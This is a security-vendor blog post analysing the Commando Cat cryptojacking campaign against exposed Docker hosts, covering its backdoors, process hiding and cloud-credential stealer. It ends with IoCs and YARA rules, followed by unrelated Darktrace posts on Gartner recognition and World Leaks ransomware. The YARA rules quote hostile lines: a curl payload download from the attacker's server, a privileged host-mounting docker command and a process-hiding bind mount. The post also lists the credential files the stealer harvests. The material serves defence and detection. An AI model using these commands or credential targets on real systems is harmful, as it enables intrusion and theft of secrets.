ブログ
/
Cloud
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

OT

/

March 20, 2026

Darktrace Recognized as the Only Visionary in the 2026 Gartner® Magic Quadrant™ for CPS Protection Platforms

Default blog imageDefault blog image

The Gartner® Magic Quadrant™ for CPS Protection Platforms provides an independent view of the vendors shaping this rapidly evolving market, evaluating how providers are helping organizations address the cybersecurity risks associated with increasingly connected operational technology and cyber-physical environments. Security and risk leaders use this research to better understand vendor positioning and to inform decisions as they modernize their Cyber Physical System (CPS) security strategies. We encourage organizations evaluating CPS security platforms to review the full report to gain a comprehensive view of the market.

Darktrace’s position as the only Visionary for the second consecutive year reflects the strength of our innovation, product execution, and long-term strategy for CPS security.  

Darktrace / OT is built to address the realities of modern industrial defense, securing converged IT, OT, and IoT environments, applying Self-Learning AI to detect known, unknown, and novel threats, accelerating investigations and prioritizing risk based on operational impact. This unique approach supports the flexible deployment models required by complex critical infrastructure organizations.

gartner 2026 CPS magic quadrant

Why Darktrace / OT stands apart in CPS security

As industrial environments continue to converge with enterprise infrastructure, security leaders are being asked to reduce cyber risk in systems where uptime, safety, and regulatory requirements limit traditional security approaches. Teams need to understand how risk develops across the environment, investigate threats with greater speed and clarity, and prioritize mitigation based on operational impact.

Darktrace / OT is built for that challenge. It combines cross-domain visibility, detection and investigation with Self-Learning AI, bespoke risk management beyond CVEs, and OT-relevant workflows that support both security outcomes and operational resilience.

Unified visibility across converged CPS environments

As critical infrastructure expands beyond traditional OT networks to include engineering workstations, HMIs, remote access pathways, enterprise systems, and cloud-linked infrastructure, teams need to understand how assets relate, where dependencies exist, and how exposure develops across domains.  

Darktrace / OT provides unified visibility across OT, IT, IoT, and IoMT to help organizations understand cyber risk across connected industrial environments. By bringing telemetry together through capabilities such as Operational Overview, OT workflows, and deep protocol inspection, Darktrace helps engineers and security teams work from shared context and a more operationally relevant understanding of the environment they are defending.

Enhanced threat detection, investigation, and response powered by Self-Learning AI

While signatures can still provide value for known threats, they fail against insider misuse, zero-day exploits, and custom-built malware designed for targeted operations. Darktrace / OT uses Self-Learning AI to detect subtle deviations from normal behavior across industrial environments where threats often appear through abnormal communications, misuse of legitimate access, or suspicious device behavior rather than known malware. To improve incident investigation, Darktrace’s Cyber AI Analyst automatically correlates activity and produces contextual summaries to reduce manual triage effort and help teams move faster from alert to understanding.  

Darktrace / OT further strengthens investigation and response through Expanded telemetry through NEXT for OT, extending visibility into operational endpoints such as engineering workstations and HMIs to support deeper root-cause analysis. Leveraging Self-Learning AI, Darktrace also enables autonomous response that can surgically contain anomalous activity while allowing industrial processes to continue operating normally. Organizations can customize response actions by device, device type, or network segment, with options ranging from fully autonomous enforcement to human confirmation workflows, helping security teams reduce operational disruption while maintaining control over response decisions.

Contextual risk prioritization based on operational relevance

Teams need the right tools to shift from reactive defense to proactively thinking about their security posture. However, most OT teams are stuck using IT-centric tools that don’t speak the language of industrial systems, are consistently overwhelmed with static CVE lists, and these tools offer no understanding of OT-specific protocols.  

Darktrace / OT helps organizations move beyond static vulnerability lists by prioritizing cyber risk based on operational context. By incorporating asset criticality, network relationships, exploitability intelligence, behavioral telemetry, and attack path analysis, the platform helps teams understand which exposures could realistically impact operations. By correlating CVE severity, KEV data, MITRE techniques, and business impact, Darktrace enables more focused remediation decisions that support operational resilience, governance, and compliance initiatives such as IEC-62443.

Built for real-world deployment and enterprise alignment

Darktrace / OT is designed for the realities of industrial environments where flexible deployment across on-premises, hybrid, distributed, air-gapped and operationally sensitive networks is essential. The platform integrates with enterprise security ecosystems including SIEM, SOAR, CMDB, firewall, and governance tools to support broader security workflows. This enables OT security to align with enterprise programs while respecting operational constraints and improving collaboration between security and engineering teams.

Customer validation and platform recognition  

In the last 12 months, Darktrace / OT has received a 4.8/5 rating on Gartner Peer Insights*. which we believe reflects strong customer confidence in the platform across critical infrastructure and industrial environments.  

With this recognition, Darktrace is now positioned across multiple Gartner Magic Quadrants, including Leader positions in Network Detection and Response (NDR) and Email Security Platforms, reflecting the breadth of Darktrace’s ActiveAI Security Platform.

Darktrace / OT customer review

Continuing to advance the future of CPS security

We believe Darktrace’s recognition as the only Visionary for the second consecutive year reflects a clear direction: CPS security platforms need to help customers connect visibility to investigation, investigation to prioritization, and prioritization to real operational outcomes.

That remains our focus for Darktrace / OT.

As industrial environments continue to grow more connected, more complex, and more business-critical, we will continue to invest in the capabilities that help customers reduce uncertainty, strengthen resilience, and secure the systems that keep their operations running.

  • Download the full Gartner Magic Quadrant for CPS Protection Platforms

Gartner, Magic Quadrant for CPS Protection Platforms, Katell Thielemann, Ruggero Contu, Wam Voster, Sumit Rajput, 3 March 2026

Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

GARTNER is a registered trademark and service mark of Gartner and Magic Quadrant and Peer Insights are a registered trademark, of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.

Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Continue reading
About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance

Blog

/

Network

/

March 18, 2026

When Reality Diverges from the Playbook: Darktrace Identifies Encryption in a World Leaks Ransomware Attack

Default blog imageDefault blog image

As-a-Service Cybercrime Models

As-a-Service cybercrime models reduce the barrier to entry for cyber criminals as they no longer need expertise in every domain. Threat actors can increasingly outsource or supplement missing skills through the broader cybercrime-as-a-service ecosystem, and thus these models continue to grow in popularity within the cybercriminal underground. This has led to multiple templates in this sphere, such as Phishing-as-a-Service, Botnet-as-a-Service, DDoS-as-a-Service, and notably Ransomware-as-a-Service (RaaS) [1].

What is Extortion-as-a-Service?

Extortion-as-a-Service (EaaS) businesses function as a formalized way for cyber threat actors to offer extortion services to others for a fee or profit share and represents an evolution of extortion operations from the double-extortion ransomware model. Advancing from the RaaS model, extortion has become a distinct profit stream, separate from the encryption payload. This separation of functions, data theft, negotiation, and publicity, sets the stage for EaaS [1].

The EaaS model reflects a broader trend in cybercriminal activity, in which threat actors increasingly prioritize data theft and public exposure over traditional ransomware encryption. This shift reduces operational complexity while increasing pressure on victims through reputational damage. This approach has become increasingly popular among threat actors as, unlike encryption-based attacks, these operations are more difficult to detect and remediate [2]. It reflects a trend of ‘hack-and-leak’ operations that prioritize stealth, speed, and reputational damage over traditional encryption-based ransomware attacks [3].

World Leaks Overview

World Leaks emerged in early 2024 as a direct rebrand of the Hunters International ransomware group, which was notorious for encrypting victims’ data and demanding payment for decryption keys. In mid-2025, Hunters International shifted to an extortion-only model due to law enforcement scrutiny and reduced profitability, rebranding itself as World Leaks.

World Leaks functions as an affiliate-based EaaS operation which provides proprietary Storage Software exfiltration tooling to affiliates while maintaining a four-platform infrastructure consisting of a main data leak site hosted on the Dark Web where victim data is published, a victim negotiation portal with live chat, an affiliate management panel, and an insider journalist platform granting media outlets 24-hour advance access to stolen data before public release [4]. Since its emergence, World Leaks has published data stolen from dozens of organizations globally on its data leak site, serving both as a pressure tactic and a means for building reputation among cyber criminals.

World Leaks (known associations include Hive Ransomware, Secp0 Ransomware, and UNC6148) have been known to target the industrial (manufacturing) sector, along with healthcare organizations, technology firms and more generally, industries with valuable intellectual property [4]. Victims targeted have spanned multiple countries, with most located in the US, as well as Canada and several countries across Europe [5].

World Leaks’ Tactics, Techniques, and Procedures (TTPs) [3][4]

World Leaks’ typical attack pattern involves the exploitation of credentials with inadequate access controls, e.g. lacking multi-factor authentication (MFA), moving through reconnaissance, lateral movement and data exfiltration, notably without an encryption element.

Initial Access:

Initial access is typically gained through the exploitation of compromised virtual private network (VPN) credentials lacking MFA through valid accounts, as well as phishing campaigns. The targeting of internet-facing VPN infrastructure, RDP, and public-facing applications also represent common attack vectors in World Leaks incidents.

Lateral Movement:

SMB, RDP, and SSH are used for lateral movement via remote services. Notably, the group is also known to use PsExec and Rclone as part of their lateral movement activities.

Persistence:

Registry key modifications, scheduled tasks creation, account manipulation.

Exfiltration:

Data exfiltration is carried out through custom storage software tooling via TOR connections. Cloud storage services used for exfiltration particularly include MEGA. World Leaks also carry out direct data transfer through established command-and-control (C2) infrastructure.

Unlike Hunters International, which combined encryption with extortion, World Leaks claims to have abandoned the use of encryption. Some reports note that operations since January 2025 represent a pivot toward eliminating encryption entirely, instead relying on custom exfiltration tooling with SOCKSv5 proxy and TOR-based communications [4]. However, in early 2026, Darktrace detected an incident that directly contradicted this claim: World Leaks carried out an attack that involved both the exfiltration and encryption of customer data.

Darktrace’s Coverage of World Leaks Ransomware

Organizations today face a growing challenge: keeping pace with increasingly fast-moving threats. This incident highlights a common problem, when time-limited mitigations expire or human security teams cannot respond quickly enough, attackers are often able to regain the upper hand. A recent Darktrace detection of World Leaks ransomware provides a clear example of this challenge in practice.

In January 2026, Darktrace identified the presence of ransomware and data encryption linked to World Leaks within the network of an organization within the healthcare sector. Although Darktrace’s Autonomous Response capability was active in the customer’s environment and initially blocking suspicious connectivity, buying time for the customer to remediate, the attack continued once these mitigative actions expired. Darktrace continued to apply Autonomous Response actions as the attack progressed, working to inhibit the attackers at each stage of the intrusion.

Investigations carried out by Darktrace revealed that threat actors likely gained initial access via a Fortigate appliance in mid-October, indicating a three-month dwell time, before employing living-off-the-land (LOTL) techniques for lateral movement. C2 communications were established using Cloudflare Tunnel (formerly Argo Tunnel). As part of the Actions on Objectives attack phase, a significant volume of data was exfiltrated to the MEGA cloud storage platform, followed by the encryption of customer data.

Initial access/ Lateral movement

Darktrace analysts identified the likely patient-zero device within the network as a Fortigate appliance. In October 2025, this device was seen conducting brute-force activity using the compromised ‘administrator’ credential to gain a foothold deeper within the customer’s environment. Masquerading as a privileged user, the threat actor then went on to launch activity on remote devices via PsExec, a common administrative tool that allows users to execute processes on remote systems without manually installing client software, providing significant power to attackers when abused. Around the time, Darktrace detected an unknown device on the network attempting to authenticate via NTLM. As this device had not previously been seen on the network, it likely belonged to the attacker.

Reconnaissance

As part of the reconnaissance phase of the attack, port and network scanning was carried out in an attempt to identify open UDP and TCP ports within the network.

Lateral movement & C2

Around one month after entering the customer’s network, the World Leaks threat actors began tunnelling activity using Cloudflare Tunnel. Darktrace detected connections to several hostnames including: region2.v2.argotunnel[.]com; h2.cftunnel[.]com; region1.v2.argotunnel[.]com. This tunnelling activity continued until January of 2026, when encryption occurred. Cloudflare tunnels are known to be abused by attackers as they enable the use of temporary infrastructure to scale operations, allowing rapid deployment and teardown. Furthermore, leveraging of Cloudflare’s infrastructure to create these rate-limited tunnels (used to relay traffic from an attacker-controlled server to a local machine) makes such malicious activity harder to detect by both defenders and traditional security measures, particularly those that rely on static blocklists [6].

